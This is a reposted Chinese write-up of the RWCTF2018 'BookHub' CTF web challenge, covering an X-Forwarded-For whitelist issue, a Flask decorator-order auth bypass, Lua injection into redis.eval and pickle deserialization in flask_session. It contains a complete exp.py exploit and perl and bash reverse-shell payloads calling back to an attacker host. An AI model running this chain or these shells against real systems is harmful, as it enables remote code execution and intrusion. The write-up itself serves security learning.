Quantcast
Channel: CodeSection,代码区,Python开发技术文章_教程 - CodeSec
Viewing all articles
Browse latest Browse all 9596

RWCTF2018 BookHub Writeup & 爬坑感悟

$
0
0
Detail

How to pwn bookhub?

http://52.52.4.252:8080/

hint: www.zip

Writeup 0x01 Bypass IP

太垃圾了了,一开始掉进了XFF的坑里


RWCTF2018 BookHub Writeup & 爬坑感悟
./bookhub/forms.py class LoginForm(FlaskForm): username = StringField('username', validators=[DataRequired()]) password = PasswordField('password', validators=[DataRequired()]) remember_me = BooleanField('remember_me', default=False) def validate_password(self, field): address = get_remote_addr() whitelist = os.environ.get('WHITELIST_IPADDRESS', '10.0.0.1') ./bookhub/helper.py def get_remote_addr(): address = flask.request.headers.get( 'X-Forwarded-For', flask.request.remote_addr) try: ipaddress.ip_address(address) except ValueError as e: op(e) return None else: return address

仔细看的时候才发现有个特殊的IP


RWCTF2018 BookHub Writeup & 爬坑感悟

扫一波端口发现 5000 ,访问后是新大陆


RWCTF2018 BookHub Writeup & 爬坑感悟
debug mode
RWCTF2018 BookHub Writeup & 爬坑感悟
X-Forwarded-For(XFF)伪造

X-Forwarded-For位于HTTP协议的请求头, 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入RFC 7239(Forwarded HTTP Extension)标准之中。

格式 : X-Forwarded-For: client, proxy1, proxy2

这个请求头可以被用户或者代理服务器修改的,因此也就可能存在 XFF伪造 的问题。

以Nginx为例:

location / { proxy_pass http://webserver; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }

$proxy_add_x_forwarded_for 变量包含客户端请求头中的 X-Forwarded-For ,与 $remote_addr 用逗号分开,如果没有 X-Forwarded-For 请求头,则 $proxy_add_x_forwarded_for 等于 $remote_addr 。

第一个代理获取的是客户端的 X-Forwarded-For 或者是 remote_addr ,而第二个代理获取的必然是第一个代理的 remote_addr 。

X-Forwarded-For: [xff|client_addr], proxy1, proxy2

所以,在代理的情况下, address = flask.request.headers.get( 'X-Forwarded-For', flask.request.remote_addr) 获取到的就不是单个IP了,而是用 , 分割的IP字符串。

php中获取IP的代码:

// thinkphp_3.2.3 function get_client_ip($type = 0) { $type = $type ? 1 : 0; static $ip = NULL; if ($ip !== NULL) return $ip[$type]; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $pos = array_search('unknown',$arr); if(false !== $pos) unset($arr[$pos]); $ip = trim($arr[0]); }elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; }elseif (isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } // IP地址合法验证 $long = sprintf("%u",ip2long($ip)); $ip = $long ? array($ip, $long) : array('0.0.0.0', 0); return $ip[$type]; } 分割 X-Forwarded-For 并获取第一个,也就是获取到有可能存在的伪造的 [xff|client_addr] 0x02 Login or Unauthorized Access (感谢chybeta大佬指正)

又一次掉进坑里,事实上,如图源码里的 migrations ,数据库里面根本没有用户,还zz地爆破弱口令

./bookhub/views/user.py if app.debug: @user_blueprint.route('/admin/system/') @login_required def system(): @user_blueprint.route('/admin/system/change_name/', methods=['POST']) @login_required def change_name(): ... @login_required @user_blueprint.route('/admin/system/refresh_session/', methods=['POST']) def refresh_session():

可以看出, refresh_session() 的装饰器顺序和其他的不同。

python的装上器是一层一层添加的

@warp2 @warp1 def func(): print(1)

调用函数的时候: func(warp2)->func(warp1)->func

在Flask中,访问 /admin/system/ :system(user_blueprint)->system(login_required)->system(),这时候就会判断 login_required 对登陆状态进行验证。

而访问 /admin/system/refresh_session/ :refresh_session(user_blueprint)->refresh_session(),这个地方就是没有 login_required 什么事了,也就造成了绕过权限控制的问题。

我还是太菜了,又研究了一波装饰器的问题

0x03 Redis & Lua Injection ./bookhub/views/user.py if app.debug: ... @login_required @user_blueprint.route('/admin/system/refresh_session/', methods=['POST']) def refresh_session(): status = 'success' sessionid = flask.session.sid prefix = app.config['SESSION_KEY_PREFIX'] if flask.request.form.get('submit', None) == '1': try: rds.eval(rf''' local function has_value (tab, val) for index, value in ipairs(tab) do if value == val then return true end end return false end local inputs = {{ "{prefix}{sessionid}" }} local sessions = redis.call("keys", "{prefix}*") for index, sid in ipairs(sessions) do if not has_value(inputs, sid) then redis.call("del", sid) end end ''', 0) except redis.exceptions.ResponseError as e: print(e) app.logger.exception(e) status = 'fail' return flask.jsonify(dict(status=status)) sessionid = flask.session.sid rds.eval(...) local inputs = {{ "{prefix}{sessionid}" }} Lua Script Inject & ByPass del

这一步就4个点, sessionid 可控,并注入到 Lua脚本 被 redis.eval 执行,还得绕过 del

Test Pyaload : -- 闭合语句 local inputs = { "{prefix}" } -- urlDecode 处理不可见字符 local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end -- 写payload redis.call("set","bookhub:session:sid",urlDecode("payload")) -- 绕过del并注释后面的内容 inputs ={ "bookhub:session:sid" } -- " }

注入语句是没有换行的,当然Lua脚本的格式也和换行无关

Pyaload : " } local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end redis.call("set","bookhub:session:sid",urlDecode("payload")) inputs = { "bookhub:session:sid" } -- " }

其实一开始,没想到用 urlDecode ,Lua的十六进制用 \XX 而不是常见的 \xXX ,


RWCTF2018 BookHub Writeup & 爬坑感悟

神一般的操作

0x04 flask_session Pickle & Rebound Shell #flask_session/sessions.py class RedisSessionInterface(SessionInterface): ... serializer = pickle ... def open_session(self, app, request): sid = request.cookies.get(app.session_cookie_name) ... val = self.redis.get(self.key_prefix + sid) if val is not None: try: data = self.serializer.loads(val) return self.session_class(data, sid=sid) except: return self.session_class(sid=sid, permanent=self.permanent) return self.session_class(sid=sid, permanent=self.permanent) serializer = pickle sid = request.cookies.get(app.session_cookie_name) data = self.serializer.loads(val) 明显的Python pickle 反序列化漏洞 class exp(object): def __reduce__(self): s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % ( listen_ip, listen_port) return (os.system, (s,))

服务器有毒, s = """/bin/bash -i >& /dev/tcp/%s/%d 0>&1""" % ( listen_ip, listen_port) , bash反弹 死活不成功

然后 perl 反弹成功了


RWCTF2018 BookHub Writeup & 爬坑感悟
Flag : rwctf{fl45k_1s_a_MAg1cal_fr4mew0rk_t0000000000} exp.py # -*- coding:utf-8 -*- __AUTHOR__ = 'Virink' import os import sys import requests as req import re from urllib.parse import quote as urlencode try: import cPickle as pickle except ImportError: import pickle URL = "http://18.213.16.123:5000/" listen_ip = 'your_vps_ip' listen_port = 7979 class exp(object): def __reduce__(self): s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % ( listen_ip, listen_port) return (os.system, (s,)) if __name__ == '__main__': payload = urlencode(pickle.dumps([exp()])) # 插入payload并防止del sid = '\\" } local function urlDecode(s) s=string.gsub(s,\'%%(%x%x)\',function(h) return string.char(tonumber(h, 16)) end) return s end ' + \ 'redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) inputs = { \"bookhub:session:qaq\" } --' % ( payload) headers = {"Content-Type": "application/x-www-form-urlencoded"} # 注入payload headers["Cookie"] = 'bookhub-session="%s"' % sid res = req.get(URL + 'login/', headers=headers) if res.status_code == 200: r = re.findall(r'csrf_token" type="hidden" value="(.*?)">', res.content.decode('utf-8')) if r: # refresh_session headers['X-CSRFToken'] = r[0] data = {'submit': '1'} res = req.post(URL + 'admin/system/refresh_session/', data=data, headers=headers) if res.status_code == 200: # 触发RCE req.get(URL + 'login/', headers={'Cookie': 'bookhub-session=qaq'}) 感想 我还是太弱了 我真的还是太弱了 太弱了

Web狗->没活路的样子,得熟悉各种语言的特性

膜 PHITHON 神鬼莫测的出题思路

XFF绕代理orCDN 的坑 Login代码(装饰器) 的坑 Lua 的坑 反弹 shell 的坑

就让比赛主题 Real World ,很坑但很真实。

神如Ph牛挖坑,菜鸡如我爬坑!


Viewing all articles
Browse latest Browse all 9596

Latest Images

Trending Articles



Latest Images